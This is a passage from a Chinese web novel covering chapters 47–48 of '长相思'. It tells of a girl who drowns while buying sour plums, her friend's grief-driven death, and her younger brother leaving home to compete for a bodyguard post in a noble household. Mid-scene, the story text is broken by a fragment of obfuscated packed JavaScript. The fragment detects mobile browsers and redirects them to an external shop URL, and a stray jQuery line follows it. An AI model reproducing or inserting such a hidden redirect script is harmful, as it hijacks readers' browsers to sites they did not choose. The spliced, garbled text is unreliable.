父亲娶的那个小妾正是那日孙纯蓉在东街上看到的,一模一样,唯一不同的,是女子微微鼓起的小腹,听大夫说已有三四个月。 孙纯蓉默默无语,这段时间总流眼泪,刘棋会在放学后多陪陪她,安抚她的情绪。 这个新来的小妾一进门便搬进新置办的房屋,除了第一日给母亲请安,后面不再出现。父亲说她孕体不便,该好生歇息,帮其免安。向夫人没说什么,算是默认。 母亲一直是贤惠温婉的性子,但孙纯蓉知道她骨子里带着韧劲儿,不是说什么话做什么事就能打垮的。她像平常那样在屋里抚琴绣花写字,偶尔教一教孙纯蓉。可有的时候,她会撕纸拍琴发脾气,孙纯蓉则抱着弟弟在角落里看着她不语。 家里陌生的环境持续了一阵子,半年之后,孙府将迎来新生儿。 新妾临近生产,孙长青时而愁眉,时而欣喜,总围在女人身边。身为嫡长女的孙纯蓉得做好本职,偶得母亲吩咐,带着弟弟前来探望。尽管女人待她姐弟二人热情温和,但孙纯蓉还是无法完全放下隔阂,往往只待上半个时辰就走。 她已然能够自然应对,刘棋放下心来,还是和往常一样找她作伴玩乐。 女人那夜里难产,全府上下忙得不可开交。向夫人难得出门来探,循着大夫产婆的要求吩咐下人备好所有接生必备之物。孙纯蓉在旁边也忙得满头大汗。 “酸梅、酸梅……” 榻上的女子传来这么一句呼唤,可孙长青上哪儿去给她找酸梅?急得让下人把酸的果子全部搬来,无济于事。 孙纯蓉想到什么,扬声道:“我知道哪里有卖酸梅!我去!” 孙长青愣了愣,旋即脸露喜色,“好,蓉儿你快去快回!” 孙纯蓉提灯出府,跑到西街道上,在一家快要关了门的店前喊道:“老板,还有没有酸梅?” 老板停下关门的手,“我这酸梅都是晒干了的,你喜欢吃?” 孙纯蓉只管买回去,随后应道:“对,给我来两斤。” “好嘞,你等会儿 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孙长青眯眼看她,“向帘君,这儿是产房,不是你撒泼的地方,要叫就去外边叫。王安佑,把夫人请出房间。多派几个人去接小姐。” “回老爷,已派人去寻了。”王管家躬身说道,又转身看着向帘君,“夫人,我们出去候吧。” 向帘君愤愤看着榻上男女,拂袖而去,亲自挑灯去寻人。 白水城的夜市也是热闹,向帘君派两拨人分别从东西两街开始搜寻,说是谁先找到人谁就有重赏。话一放出,下人们精神抖擞,顺着街道去寻,一个巷道也不放过。该找的找了,该问的问了,就是找不到人。 向帘君神情逐渐惨白,吩咐他们去城外的野径找,她和两个侍从在街上仔细寻,边找边和路人描述女儿的模样。孙纯蓉经常出来游街玩耍,这一带的店家摊主多少有面熟她的,有的说看到了但不知具体去向,只说是路过,有的说没看到。 向帘君在他们说看见的那条路段寻人,再不济就扩大范围。这样忙活了一个时辰,仍不见什么线索,直到派去野间的下人急忙忙地赶回来,哭道:“夫人……找到了……” 下人神情惊惧呆滞,脸上挂满泪水。向帘君愣在原地,心中隐有直觉。她傻站着,险些摔倒,亏有侍从相扶,才不至于跪到地上。 山间野径点着昏黄的灯笼,地上睡着的姑娘淌着一身水,面若寒霜,毫无生气,唯在人们手提的黄灯下才映得些许暖意。 向帘君蹲下来呆了好久,把她怀里抱着的酸梅拿了出来,没有哭,只道:“在哪儿找到的。” “……回夫人,在水里。” 孙府新添一子本是喜事,但死者为大,所以先置办了丧事。 向帘君最近总是魂不守舍,她去寻了城内最好的工匠,做了一口十分贴合小孩的精厚棺材,为此额外付了谢钱。她去女儿房里搜了些经常用的东西,以及自己还没送出的生辰珍礼,全部放进垫了厚厚锦被的棺里,摆得整整齐齐。 放尸合棺那日,向帘君并不在场。短短几日,丧女一事使她心力交瘁,一下病倒在床,大夫调了几味安养身心的药,得老爷命令,日日在旁边守着她吃。 白事办得轰烈,来者大多是孙长青的同僚,见此情形不免哀叹,只得叫孙长青节哀顺变。 孙长青脸色苍白,这几日的状态不比向帘君好,鬓边还多了几丝白发,暂把新妾新儿抛到了脑后。 停棺一日,邻近的刘老爷忽然来访。 刘府以经商为生,与为官的孙府少有来往,也就看在两家孩子的面子上彼此有点好感,但不会刻意拉近距离。孙长青从未想过把女儿嫁给这户商家的儿子,不知女儿逝去能否断他的念想。 看在刘老爷平时待人和气的份上,孙长青允许他们来拜女儿的灵堂。一进门,刘棋甩开刘老爷的手,直奔挂满白布的灵堂。临近门口,他又停下,望着灵堂前的黑色棺椁,咬紧下唇憋回哭声。刘老爷看见自己的小儿子在门口打颤颤,心叫不妙,就不该答应他来看望的。 当时得知孙府是为谁办的丧事,刘老爷千瞒万瞒还是瞒不住,刘棋死活要来祭拜,他无可奈何,只好向孙长青申询。 刘棋再也忍不住,嚎啕大哭起来,正要跨进门槛,被父亲拉了回去,“走,走,先回去。” 刘棋一把推开他,跳进堂内,扑在棺材上面又抱又摸。刘老爷瞪大眼睛,疾步赶到把他拉开,“子棋,不要胡闹,孙小姐已经……你这样是对逝者不敬!” 刘棋只哭不语。 这时,孙长青走了过来,脸色不大好看地盯着刘棋。 刘棋看着他问:“孙城长,子棋想问孙妹妹是怎么逝世的?” 这点,刘老爷也好奇,不禁看向孙长青。 孙长青忍着不自在道:“落水溺亡。” 刘棋抹掉眼泪,“不是在家里的池塘吧?” 孙长青:“不是,是在外面。” 刘棋:“是西街道吗?” 孙长青沉默,眼神不算和善。 刘棋当做没看见,道:“是给小妾买酸梅吧?” 孙长青和刘老爷双双变了脸。 刘老爷赶忙捂住小儿的嘴,赔罪道:“对不住啊孙城长,劣子在外面听了点闲言碎语,这才胡说八道,您不要放在心上。童言无忌,童言无忌……” 孙长青咬紧牙关,压着声道:“人已拜了。刘老爷,你们可以回了。孙家不办白事,招待不周,望请恕罪。” 刘老爷松开捂嘴的手,捏紧小儿肩膀陪笑,“哪里哪里,是我们叨扰了孙城长……那,我和子棋就先拜别了。” 孙长青未曾舍过正眼,“慢走不送。” 自这一趟回来,刘棋整日病怏怏地呆在家里,不复以往的活蹦乱跳。刘老爷及弟兄姐妹曾来相劝,却得刘棋一言:“孙妹妹是被孙家害死的,孙妹妹是被孙家害死的……” 刘老爷见子心痛如同自痛,阻止他妄言的呵斥始终没能说出口,唯一悔极之事就是让他去拜孙小姐的灵堂。 悔言一出,刘棋急了,吊着几口气道:“不、不……见了才好,见了才好……若是不见,她定又要埋怨……” 不对劲了,不对劲了。 刘老爷心慌得紧,找来白水城最好的大夫给小儿医治,却越医越病,病到了榻上。 大夫无奈说道:“心病无药可医。刘老爷,这钱我不要了,你留着吧。再不济,去找个道士来看,是不是孙小姐的魂魄勾着他。” 大夫坚决不收钱,刘老爷只好送他离去,回房看着缠绵病榻的小儿沉思,到底要不要去找道士看看。然这话被刘棋听了去,他缓缓偏头看着发呆的刘老爷,颤声道:“爹,我未曾……未曾……” 他想说什么,最终咽回喉里。 人虽病重,但饭不可不吃。下人们每日会来送饭,在旁边好生伺候着。刘棋每次只吃一点点,要么就是难以下咽。这样持续了三四日,终有好转,肯吃几口东西了,但脸色仍然惨白。 向夫人那边躺了几天,现今已能正常行走。听闻刘棋少爷因长女重病,不顾纷说都要来探望一下。小儿病房药味重,刺鼻难闻,刘老爷只让她在门口站了会儿,没收送来的珍药补品。期间,向夫人频频致歉,刘老爷苦笑道:“福祸缘分,天定难逃。向夫人,您也要看开些。” 向夫人深深吸了口气,慢慢朝刘府大门走去。刘老爷见状,亲自送她离开了府邸。 孙家灵堂停棺七日,第八日封棺上路,几十人抬着黑沉沉的棺材走向城外的大山,放进新挖的土坑里,埋土封棺,立碑行拜。 孙家长女的葬礼排场甚足,当日街上数名百姓披麻戴孝为其送行,烧纸扬钱。满街的纸钱味散进了刘府,怎么关都关不住。 病房内,刘棋躺在榻上,双目痴痴发着呆,闻着纸钱的气息,眼角无知无觉渗出两行泪,似想仰着脖子说清话,但发出来的声音极其嘶哑,“孙……妹妹……” 床头桌上放置着满满一碗红豆,他努力伸手过去抓了一把红豆,放进嘴里慢慢吃着。吃不动,他就含着。 不够,还不够。他又抓来第二把塞嘴里,好些没含住,顺着脖子滚到了身下。再抓第三把时,那颤巍巍的手忽地一停,五指搭在碗边,失去控力一沉,打翻了白瓷碗,红豆滚落一地。 清脆的一声轻响,门外守候的下人霍然开门进来,愣在原地,另一个则匆匆跑去报信儿。 刘家人赶到时,只见榻上之人双目沉沉,脸色苍白如纸,披头散发,一身雪白,满嘴塞满了红豆,满地滚着不尽的深红。 这么一个活生生的人,怎么就被红豆噎死了? 消息于次日传遍全城,百姓皆替刘府惋惜,而有人凑着热闹,出了一个词题——桃女若水随水去,君掷红豆寄相思。 作题人试问:“桃女随水去而不复返,君想彻底解思愁,会怎么做?” 众人七嘴八舌,问是何意。作题人缓缓摇头微笑,不肯解惑。如此,大家的解答愈发胆大多样,只有少许人猜到了大概。 自然是,花自飘零、水自流。 一城连起两大家的白事,还是街坊邻居,怎么听都觉得不吉利,所以三个月后,刘府一家搬离了这里,带着小儿的棺材回了老家。 孙府寂凉一阵,恢复如初。 来年,向帘君牵着孙祈站到女儿的坟前,伫立良久,不语不泪,放了一碗红豆在碑前,“蓉儿,这碗红豆,是刘家那小子给你的。” 刘棋碗里的红豆没有吃进肚里,也没有送出刘府,被刘家人一起葬进了棺里。 向帘君知道那碗红豆为谁而放,轻轻叹息,蹲下来,把眼前碗里的红豆拿出一颗埋进墓边的土里,“他待你好,娘看得清,你也看得清……如果喜欢,那就收下罢。” 这时的孙祈还未理解此为何意,“娘,你为何要把红豆埋在姐姐这里?” 向帘君摸摸他脑袋,“等你长大就知道了。” 母子二人在此待着,片刻后离去。 红豆埋下土,自问相思意。 后来,这颗红豆生根发芽,十年之后,终长成树。 47. 长相思(捌) “相思红豆……” 窗前的布衣少年把桌上买好的红豆糕放进包袱里,对另间屋里的女子道:“娘,沈府那儿还没通融?” 女子:“是啊。小祈,今年你替娘去一回吧。沈家不同意,我没办法去了。” “成。”布衣少年收拾好东西出了城镇,赶了两个时辰的山路,穿过长到大腿的野草丛,来到一座小墓园内,把红豆糕放到墓前的碟子里,从包袱里拿出备好的纸钱烧了一些,然后发呆。 他还没能完全记事时,姐姐便意外离世,之后两年,父亲的性情发生翻天覆地的变化,总是对母亲出手,几次把人打得浑身青痛流血。无奈之下,母亲只好诉到官府,请求和离,搬离出府,用仅存的家当买了个带小院的屋子,没事就种点菜。 母亲不是大户人家的女儿,又是远嫁,没有谁能撑腰,出来后靠着自己的双手在一户姓沈的人家做事,维持生计。 这些年他们都会回来看一看姐姐的陵墓,只是今日正好母亲当值,主人家不批假,所以是孙祈一人来探。他对姐姐印象不深,隐约记得少时有双温柔的手带着自己到处走,声音模样皆模糊成团。 孙祈坐了半个时辰,最终抵不住蚊虫叮咬,抱着歉意回到了家里。他不敢待太久,以免碰到不该碰到的人。虽说这些年孙家知道他们会来祭拜,但见面肯定少不了一番摩擦。不见对谁都好,大家当作什么都不知道。这是残存最后一丝的亲情。 回到镇上,街道公栏围满了人,他过去一瞧一问:“这是在看什么?” “这你就不知道了吧?潇湘李家要办一场比武会,说是要给踏青游山的宝贝千金招贴身护卫,赢得头筹还重重有赏。若表现好,还能一直做下去,每月的俸禄不仅管饱还有余钱,简直比我们这儿做工好上太多!” “那可是潇湘李家,和皇室沾亲带故,帮他们做事当然有不少钱拿。只是听说这场比武会高手如云,想必很难拿下,我们这种要功夫没功夫的就算了。” 孙祈听着百姓念叨着,细细看过宣传贴,凭借自己常年在屋外听学识字的本领,从中摸出几条有用的讯息。 这时,有只手搭住他肩膀,“孙祈,你要不要去试试?不说拿前三,只要去了就给钱,还包餐宿。不得不说,这李家就是大家,居然这么大的手笔,连一个贴身护卫都这么看重。” 来人是孙祈的邻居杨真,也是个没钱读书在外打工的臭小子。孙祈与他关系还行。 “你知道李家千金是谁吗?”听到的旁人压低声,“那可是将来的太子妃,未来的王后,比咱们的命金贵多了,你以为是那些不出闺房的大小姐啊?那不一样!” 闻言,杨真用胳膊肘顶了顶孙祈,“你去不去?反正输赢都有钱,你还能给向姨攒点养老钱,而且路费由李家出。” 旁人又道:“你们看清条件了吗?上面要十六岁到二十岁不等的少年,五官端正相貌堂堂,身高至少七尺以上,还必须是穿衣显瘦、脱衣有肉!” 杨真不耐烦道:“这是选上门女婿还是选护卫啊?还穿衣显瘦脱衣有肉,真够挑剔的。” “正常正常,李千金平时要出门,哪里都得带着,当然要上等的样貌和实力了。” 杨真懒得管那么多,搭着孙祈道:“老孙你去不去?我是去不了,家里管得严。要是你肯去,我帮你画地图叫马啊。” 孙祈略一沉吟,“可是我娘……” 杨真:“向姨身体好得很,你担心什么?她在沈家做的活儿不算太累,比洗衣服好,还能再做个三五年。倒是你,一直在这小城里打转不是办法,总得出去闯闯不是?” 孙祈摇了摇头,“杨真,我知道你是为我考虑,但此事我还得和母亲商议,不能说走就走,她是我娘。” 杨真微笑:“我知道。你要是想好了就来找我,我给你租一匹好马。从这里出发去往潇湘的李家也就半个月左右,你在那儿待个几日回来,之后再还我钱便是。我想,李家给的钱绝对不会少于租马的钱。” 孙祈:“到时候再说,谢谢你杨真。” 回到家里,孙祈做好饭菜坐等母亲回来。 向帘君进门看到儿子,面上露出慈祥的笑容,叹了口气坐在板凳上,“小祈,给娘捶捶肩。” 孙祈立马走到她背后又捏又捶,紧闭着唇没有急于开口。向帘君背对着他,自然不知他此时忧愁的模样,道:“小祈,你有没有出去的想法?” “怎么这么说,娘?”孙祈心中一骇,手上动作一顿,“是谁跟你说了什么?” 向帘君安慰地拍拍他手,“不就是问一下?你这么急干什么?” 孙祈:“对不起娘,我只是好奇。” 向帘君目光眺向远方,忽然慨叹:“我像你这么大的时候也是晕头转向,不知该干什么。你外公外婆向来不善待女儿,家里又没太多的钱,所以我没怎么念过书。后来你舅舅成家立业当了先生,我顺便托了他的福,在书院里当浇花姑娘,靠着每月的补贴生活。” “可我不甘心就这样一辈子,于是我跟你舅舅说我要去外面见见更多的世面。他没答应,说要帮我找一门亲事,让我落叶归根有家回。我觉得这可笑之极,为什么非得说女儿成家才是有了真正的家?都说娶妻是为开枝散叶,这么说来,我倒觉得母亲身处之地才是真正的落叶归根。不过,我不喜欢谁是谁的附庸。小祈,就像你,我不希望拴住你一生的会是作为母亲的我,我不需要谁成为我的附庸。” 孙祈的双手微微颤抖,低头不敢看她转过来的脸。 向帘君拉着他手坐下,“今天城里刚张贴一门喜事,说是潇湘李家要招李千金的贴身侍卫,娘觉得你可以一试。这几日趁你师父没有出去云游,好好跟他学功夫,不要再去搬石头了。” 孙祈脸色略白,“那我走了,谁来照顾你?谁给你做饭?” 向帘君扬眉笑道:“我又不缺胳膊瘸腿儿的,不能自己做?还要你一个臭小子来照顾?娘最多就是吃晚点,而且沈府有下人的厨房,娘可以在那里吃。” 孙祈试探问道:“娘是要我做护卫还是去干什么?” 向帘君:“那当然得加把劲儿拿个最好的呀,尽力而为。” 孙祈默叹,没有说话。 向帘君推他到方方正正的小木桌前,“好啦好啦,时间紧迫,就这么定了。先吃饭。” 孙祈无奈,见她看着自己不动筷,只好拿起筷子闷闷吃起饭来。 饭后,向帘君找来孙祈的江湖师父一同商议。师父听完,摸了摸白胡子道:“小祈今年刚好十六,其他条件亦均符合,确实可以一试。据老夫所知,潇湘李家乃王室至亲,家内唯一嫡女千金将来很可能是太子妃的人选,进去任职的好处远远大于坏处。” 向帘君:“什么坏处?” 师父思量道:“一旦进去,可能会是半辈子的卖身契。向夫人,您可要想好了。” 这半辈子的卖身契,意味着后半辈子要言听计从、俯首遵命。这都好说,就怕出来探亲也不准。 向帘君迟疑了一下,“如果能保小祈后半辈子衣食无忧,我一人生活有何不可?” 孙祈有点生气,“娘,您要抛下我一个人?” 向帘君:“小祈,一个人没有什么不好。你娘我没有办法供你读书,已是最大的亏欠,怎么可能再去缚你志向?娘是怎么教你的?男儿可以穷,但不可以没有志向。你要是总守在我身边,等同于把自己的后半辈子关在了这小方天地里。听娘的话,去潇湘李家试试,试成了再说。” “不成。”孙祈忍着愤怒,“大不了我就在这里做工生活,哪儿也不去,我乐意。” 他撒腿跑了,向帘君没能追上,只好留在屋中和师父叹气,“你说说,这该如何是好?” 师父:“向夫人,孩儿自有定夺,且看他如何掂量吧。人不是非得走那条路才行得通。小祈可能还没想好,你可以再等等,不急于一时。” 如此,向帘君只能这样了。 孙祈磨蹭了两日,再不敢提任何有关比武会的事。向帘君不强求,只是看着他叹气。整整两天两夜,他都没有睡好,冥思入睡,惺忪醒来,满脑子都是娘亲的话。 这晚,向帘君找来他房间,放了一碗银耳羹在桌上,静静坐了下来,看着他半晌,“小祈,你服侍娘这么多年,娘已经很满足了。娘不想因为自己耽误你的前程,你自己也得看重。而且,去了不一定能得,你怕什么?” 孙祈坐在床边,两手垂放于膝上,始终不语。 向帘君:“你这是第一次远离娘,娘知道你一时定然不舍,可这是千载难逢的好机会,何不一试改变自己?将来事业有成,亦能孝顺娘,不是吗?” 是,他一身清贫,唯有身力可图,拿什么来报答养育之恩? 孙祈眼睛一转,看向母亲,“娘说的是真心话?是觉得孩儿大了不该守在您身边,还是真心希望孩儿事业有成?” 他揣着答案问这不该问的话,向帘君却没有生气,郑重点头,“都有。” 片晌,孙祈紧紧闭眼,“……好,我看看。” 向帘君喜笑颜开,“娘相信小祈定不会辜负娘的苦心。” 武会在下个月初开始,日子还早,孙祈听母亲的话,日日跟着师父练武扎牢根基。这位江湖师父自八年前云游到此,掐指算命,在街上遇见了向孙母子二人,说是免赠一算,这才得以相识他们。久而久之,向帘君觉得这个算命的本事不假,便拎着孙祈到他面前磕了三个响头,问拜不拜师。 师父胡子一捋,“都磕头了我能如何?” 八年至今,老师父外出云游从不会跟母子二人说,都是匆匆来匆匆去。他第一年出去云游时,许久没有音讯,就在母子认定他是悄悄撇人时,他又回来了,教了孙祈第一套拳法。师父姓方名咏,是个散修道长,无妻无子无师承,曾经收的一个徒弟已成大器,自办道观,传道法、收弟子,将师道传承了下去。 方咏收孙祈那年,家里来了一位清风道骨的青衣道长,一把拂尘斜放在胸前,举手投足尽是朗朗风姿,他看着面前的老者,躬身问:“徒儿大志已成,道观已铸。师父为何不登青云梯,上那楚山观?” 方咏扶他起身,“符松,你跟了我二十年,难道还不知道为师的性子?你志在师承大道,而为师无欲无求,只想浪迹天涯,帮帮有缘之人。” 符松会意,看了眼当时还是孩童的孙祈,“师父,此子……” 方咏肃色,打断了他,“符松,为师知你想说什么。不求你能舍力相救,但求师父求你的那日,你不要拒绝。” 符松想了想,拱手道:“师父言重了。既然师父不愿登山,那徒儿先行一步。若师父有要事,传讯至楚山便好。” 方咏拂袖,“去吧。” 记忆零零散散,孙祈从中可以看出方咏师父确有不小的本事,当年唯一一个徒弟能自立道观,传承道法,这少不了方咏师父多年的教诲。小时不懂,只觉他是个和蔼可亲的老人家,长大才明白自己是幸运的,有这么一位师父肯为自己着想。 这些天,孙祈把前段日子松懈的武功重新捡起修炼,似乎比之前更灵活强劲了,方咏师父夸他天资聪颖。 眼看日子快到了,向帘君不敢误事,提前半月叫来孙祈,给他塞了新衣新鞋,“路费放你包袱里了,够是肯定够的,吃的也不用太担心,娘做了干馍馍给你。” 孙祈心里一阵酸楚,“娘,我……我一定会回来的。” 向帘君推搡他出门,“知道了知道了,娘谢谢你的孝心,你先安心去吧,有事后面再说。你呀,总为娘着想,可人是为自己而活的,你首要考虑的是自己,而不是娘,明白吗?” 孙祈轻轻点头,心事重重道:“明白。” 篱笆外,方咏师父牵着一匹骏马伫立静望,等到孙祈走到身边,他朝家门口深深鞠了回手,向帘君亦拜别回礼。 出行前,孙祈送了一封信给杨真,说谢他好意,马已有师父代寻,择日再见。杨真回说已知晓,只等他好消息。 方咏师父送孙祈到城门口,说了几句嘱咐,把自己腰间的一壶酒递给他,又送了点银子。 孙祈小心推回,“师父,我带了盘缠,您不用再给了。” 方咏:“好,路上没钱了就挖点野菜吃点馍馍。潇湘李家的方位在地图上给你画好了,你去他们家门口问,肯定有人会接待的。” 孙祈点头言谢。方咏毫不客气地在马屁股重重拍了一下,骏马当即纵身奔去,上了出城的远途。 半个月说短不短,说长不长。孙祈一路赶到潇湘,翠山碧水坐山城,春来风拂杨柳依,街道马车过客络绎不绝,一片繁景目不暇接,令人倍感心旷神怡。他顺着地图路线进了主城,找到那户姓李的人家,在门口傻傻站着。 潇湘李府的门匾是当今王上御赐的金匾,而今一见,果然不同凡响,整座王府都是孙祈想象不到的气势恢宏,就连飞天檐角的雄狮石雕都霸气逼人、栩栩如生。 门口的守卫看到孙祈在门口愣着,粗略打量了他一下,大步走来,一把拉住他往旁边的角落走。这边撑着一个桌台,里面坐着的男子衣着锦绣,头戴黑帽,看着三四十来岁,正提笔给后面排队的人一一记着什么。 守卫把孙祈安排到队伍的最后面,“念姓名、年纪和出生地。好好排,不要插队。” 孙祈:“哦好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322096|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 守卫再度看了他几眼,问:“你满十六了吗?” 孙祈从自己的脚看到身上,“不像吗?” 守卫不答,“今年满了就行。” 登记之后,孙祈被刚才的守卫带走,从后门进了李府大院,在客舍挑了一间未满四人的房间。 守卫:“自己选床位,每床各有一台小柜子放换洗的衣物,没有上锁,勿放贵重之物。饭点移步至后院厨房,出门往东走四百步就是,那里容不下一百五十号人,不可堂食,以免造成拥堵不便。前院禁止闯入,一经发现,严肃处理。三日后,比武会正式开始。” 屋里四人齐齐说好,客气送守卫离开。 舍内只有一床可睡,孙祈没机会挑了,过去坐着开始打理收拾包袱。邻床的小伙儿是个自来熟,凑近看他在作甚么,又看了看他的脸,“你多大?” 孙祈抱着包袱往旁边挪了挪,“十六。” “真的假的?”小伙儿怀疑道,“是不是还没满?” 孙祈把自己的洗漱用具摆上桌,换洗的衣物塞进衣柜里,没有答他话。小伙儿没再自找没趣,见他不爱搭理,自己和另一个刚熟悉的舍友出去散步了。 干粮在来潇湘的半路已经吃完,孙祈在进城门那会儿吃了碗羊肉面,距此刻已过半日,是有点饿了。他照守卫所说往东边走,找到那间弥满人气的厨房,有几个中年下人在忙活儿。 他想了想,还是过去敲了敲门,问:“能煮面吗?” “你是来参会的?”有个阿婆问。 孙祈老实答道:“是,从外地来的。” 阿婆凝望他片刻,“面在架子上,自己取。只能煮自己的,吃完赶紧走。” “好,谢谢。”孙祈依她所指,拿面放进锅里煮,煮好捞上来只放了盐和葱花,坐在角落的凳子上开吃。 现下处于歇息时段,厨房就这几位婆婆收拾,她们闲聊摆话打发时间,提到了近日的比武会。 “李千金是怎么想的?去年踏青险些落水,今年踏青执意要去,不然就闹绝食,老爷只得在方圆千里之内云集有武功底子的贴身侍卫。咱们李府和王室关系匪浅,这帖子一发出去,果不其然,一堆人围上来抢着名额。这下一百多号人待在府里,怎么招待?” 她们并不顾忌孙祈在场,大肆议论起来。 “老爷说了,只给一百五十个名额,晚来的不收了,给点路费打发回去。至于我们,做好饭菜就行了,甭去管恁多。” “比武会要办多久?” “不知道,三日吧,一百五十号人呢。办完就全部打发走,只留一个人下来。啧啧,这么多人争夺一个护卫,压力忒大。” “那肯定,月钱那么多,不讲究出身地位,就要武功高的,降了大半门槛,能不人多嘛?换做平时,他们还想见李千金?简直做梦。” 几个阿婆细声低语,孙祈仿若未闻,一头闷完了这碗素面,又自己拿去洗了。 有个阿婆看了过来,如炬目光锁定孙祈,歪头跟旁边的妇人私语,“我看这小伙子不错,吃完知道自己洗碗,肯定是平时在家孝敬母亲的穷苦孩子,等比完我看他有没有娶老婆,我把我三妹的女儿介绍给他。” 妇人:“得了吧,人家大老远来拿这几个钱就很不易了,你还去添乱?再说了,你看他那样子像是能娶到媳妇的?” 阿婆:“嘿呀,都是平民百姓,还分高低贵贱?你猜我为何说要等比试结束?你看他那身段,宽肩窄腰螳螂腿,胳膊净是劲瘦的肉,肯定是个练家子。要真当上了李千金的贴身护卫,那还用筹钱?娶媳妇是迟早的事儿!” 妇人无奈叹气道:“你就自己搁那臆想吧!” 阿婆不跟她计较,笑了两声,看孙祈的眼神愈发满意。 不知那位阿婆是有何事老盯着自己,孙祈没有多留,洗完碗便急忙出了厨房。 看着远去的背影,妇人取笑道:“你看看,把人家小伙子吓跑了。” 阿婆呵呵笑道:“你不懂,越容易害羞的男娃儿越是难得。要是我女儿没成婚,我肯定会牵这门喜事。” 回到客舍,孙祈闲来无事,拿着一本破旧的书籍在床上点灯默读,看累了就趴到枕头上歇息。 隔壁两床总在窃窃私语,后来声音逐渐变大,说李老爷是王上的什么亲戚、李千金注定要当太子妃、李千金性子冷清不好相处但胜在貌美云云,时不时发出猥琐笑声。 孙祈被吵烦了,往那边翻了个白眼,继续看书。 这时,房门响了,进来的是白天见到的那个守卫。他拿出一张纸单念名字,每念一个就给钱,直到念完第四个,“这是李千金补给你们来时的路费,以免缺钱的人没钱用了。另外,骑马来的可以把马牵到李府的马场,不收钱。” 孙祈正要问马场在哪儿,年轻守卫看着他道:“孙祈,你的马我已经牵过去了,挂了名号,等比试结束我带你去领。” 孙祈:“谢谢。” 先前来搭讪的舍友问道:“孙祈,你家里居然还养得起马?看不出来啊。” 孙祈:“是我师父借我的。” “师父?”舍友睁大眼睛,“你还有师父?哪方哪派?” 孙祈张口欲言,门口的守卫忽然打断,“住口,室内交谈不许问其门派家底,违者将失去比武资格!” 那舍友吃了瘪,撇嘴回去,吊儿郎当坐在长凳上,仰面朝天发起呆来。 在守卫离开之前,孙祈掂了掂手里的铜钱,犹豫半晌,最终追着守卫出门,轻轻喊住他,“大哥。” 守卫回头看他,“什么事?” 孙祈:“我想问……可以在李府做临时工吗?扫地打水我都可以。” 守卫微有愕然,“你很缺钱?” 孙祈脸色微微羞赧,但还是应道:“对,很缺,我想多挣点钱回去给我娘。” 守卫沉思片刻,“你要做多久?” 孙祈:“不超过半个月……能日结账吗?” “我不能做主,但我可以去问问。今晚你就在这间客舍睡,明日我给你安排个新住处。”守卫目光忽地一冷,死死盯向孙祈后方的门,门背后有个黑乎乎的人影,从举动不难看出是那个搭讪的舍友。 守卫慢慢后退,去到走廊的那头,并向孙祈招手。 孙祈轻轻过去,听他说道:“你年纪小,不要跟生人乱说话,以免招惹没必要的麻烦。钱财保管好,不要丢了,小姐不会多补。你那个舍友……我看着像惯犯,你自己多加小心。” 这位大哥没见几次便对自己关照有加,孙祈自然心存感激,拱手问道:“敢问大哥姓名?” “周。”守卫只说了姓,然后挥手离去。 48. 长相思(玖) 李家大院分为前、后、宿、兵四地。前院是主家游乐休闲之地;后院方位布置较杂,多是下人们走动的地方;住宿是招待外人的客居之所;兵地凝聚了李家的部分兵力,包括守卫军队。 忙碌了一天的周守卫回到家中,褪下正服,换回自己的衣袍走出寝室。室外,正堂坐着一个身穿宽袖锦衣暗纹红色长袍的男子,黑帽黑靴,面容文雅俊秀,眉间一股浩然正气。 周守卫看也不看他,打理自己的衣袖,“感谢老哥愿在百忙之中来阿弟的寒舍一叙,我没耽误你处理政务吧?” 男子淡然道:“有事快说。” 周守卫毫不遮掩道:“李家最近的事你肯定知道——” “周文霖。”男子喊住他,“要做事就堂堂正正,别拿家里人出来挡枪。” 周文霖义正辞严道:“没办法,你是除了李南王爷,唯一能在这儿说上话的人。” 这话没错。男子不欲多舌,话锋一转:“李南王爷可知你进来了?” “没有。”周文霖一本正经,“我是混进来的,谁都不知道。” 男子两指轻扣案桌,“自家有府邸,还跑来别家府邸做事,传出去你让别人怎么看待我们周家?你是不是脑子烧糊涂了?” 周家也是潇湘一大世家,妻生两儿一女,长子周无涯坐拥宰相之位,时常辅佐王上处理朝政;次子周文霖年轻气盛,不是读书的料,是个从军的好料子。但他不想去军中吃苦,便舍身来到另一个世家做守卫挣零花。 当时兄长周无涯知晓后,问他是不是家里给的零花不够,周文霖却说家里给的没有自己挣的香,把周无涯气得不轻。看在一母同胞的份上,他替弟弟向家里瞒着这个秘密。 “哥,我有正事跟你说。”周文霖打断他,“我怀疑这批进来的武士不干净,应该好好排查。” 周无涯收回刚要吐出来的训词,正色道:“广集江湖人物本就是件危险事,李南王爷这次思虑略有不周。你查到了什么?” 周文霖翘着二郎腿,“有间客舍的某个武士我看着像之前偷盗潜逃的罪犯,你有空要不要跟我去看看?肯定不止他一个。一百五十号人,真的太多鱼龙混杂了。难道李南老爷不知道这样做的弊果?” 周无涯:“李千金去年险些遇难,今年李南王爷广招高手做其贴身侍卫,想必其中是李千金执拗换来的。千金绝食,这在我们那里可不是什么秘密。” 提到不该说的,周文霖压低声音:“李千金是不是与李南王爷的关系不好?” 周无涯撩起眼皮,“你知外界为何会传李千金是将来的太子妃吗?” 上一嘴提到父女关系,这一嘴提到传闻,两者自然脱不了干系。周文霖顺其自然猜了出来:“李南王爷故意散布的?” “谣言开传自然是假,但总有传出真的那日。”周无涯慢条斯理说着,“传闻李千金温婉良善,喜琴棋书画,貌若天仙,是个名副其实的美人小姐。而李南王爷与王上带点远亲血缘,曾经带兵平乱有功,李夫人又是百年富家出身……两两结合,李家的权势财力必不用说,李千金的确是入宫成妃的良佳人选。” 周文霖疑道:“所以李南和他女儿关系不好是因为这个?李千金不想当太子妃?” 周无涯摇头道:“是不是因为这个不一定,但传闻绝对半真半假。” 周文霖挠头,“那王室……是怎么看待传闻的?” 周无涯:“李千金并非唯一人选,但树大招风,王室的目光自然会因传言格外注意李府这边,探探李千金是否如传闻那般适合做太子妃。” 周文霖:“看来这李南野心不小……” “有心无胆罢了,没什么好说的。”周无涯懒懒看他,“说吧,找我到底做什么。” 